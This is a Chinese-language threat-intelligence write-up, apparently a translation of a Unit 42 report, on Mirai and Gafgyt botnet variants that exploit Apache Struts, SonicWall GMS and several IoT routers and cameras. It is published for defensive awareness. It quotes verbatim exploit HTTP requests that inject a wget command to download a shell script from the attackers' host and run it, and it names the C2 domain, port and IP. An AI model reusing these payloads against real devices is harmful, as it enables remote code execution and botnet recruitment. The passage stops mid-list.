IoT/Linux殭屍網路Mirai、Gafgyt變種攻擊Apache Struts、SonicWall
2018年9月7日,Unit 42的研究人員發現融合了攻擊16個單獨漏洞利用的Mirai變種。這是第一個已知的Mirai攻擊Apache Struts漏洞的例項。
另外,研究人員還發現現在為Mirai樣本提供主機服務的域名在8月份解析的IP地址為利用CVE-2018-9866漏洞的Gafgyt提供主機服務。
利用Apache Struts漏洞的多利用Mirai變種
新變種中攻擊Apache Struct的是CVE-2017-5638漏洞,是一個通過偽造Content-Type、Content-Disposition、Content-Length HTTP headers來進行任意程式碼執行的漏洞。格式如圖1所示:
圖1 CVE-2017-5638漏洞利用格式
Mirai變種中其他15個漏洞利用,包括:
ofollow,noindex"> Linksys RCE漏洞
利用格式:
POST /tmBlock.cgi HTTP/1.1 Authorization: Basic YWRtaW46cG9ybmh1Yg== Content-Type: application/x-www-form-urlencoded Content-Length: 215 submit_button=&change_action=&action=&commit=0&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `wget%20http://l.ocalhost.host/lsys.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp`&StartEPI=1
該樣本還有一個利用GET/POST請求的相同漏洞利用:
/tmBlock.cgi, /tmUnblock.cgi, /hndBlock.cgi and /hndUnblock.cgi Vacron NVR RCE This variant also contains a POST request version of the same exploit : POST /board.cgi HTTP/1.1 Content-Length: 118 Content-Type: application/x-www-form-urlencoded cmd=`wget%20http://l.ocalhost.host/vac.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp` D-Link command.php
RCE漏洞
影響D-Link部分裝置。
漏洞利用程式碼:
POST /command.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 127 cmd=`wget%20http://l.ocalhost.host/cmdphp.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp`
EnGenius RCE漏洞
漏洞利用程式碼:
POST /web/cgi-bin/usbinteract.cgi HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 133 action=7&path="|wget%20http://l.ocalhost.host/usb.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp||\
這些Mirai樣本並不包括Miri常用的暴力破解功能,C2地址為l[.]ocalhost[.]host:47883,使用的加密方案與Mirai相同,加密金鑰為0xdeadf00d。
Gafgyt變種中的SonicWall GMS漏洞利用
前面提到的Mirai變種使用的域名l[.]ocalhost[.]host早在2016年11月就被發現與Mirai相關活動有關。2018年8月,該域名被解析為另一個IP地址185[.]10[.]68[.]127。同時,研究人員發現該IP還為利用SonicWall漏洞(CVE-2018-9866)的Gafgyt提供主機服務,該漏洞影響8.1版本之前的SonicWall Global Management System。
CVE-2018-9866的漏洞利用源於沒有對set_time_config方法的XML-RPC請求進行處理。圖2是樣本中的漏洞利用。
圖2 SonicWall set_time_config RCE格式
這些樣本首次出現的時間是8月5日,距該漏洞的Metasploit模組釋出不到一週時間。這些樣本利用的是Gafgyt程式碼庫而不是Mirai,支援的命令如下: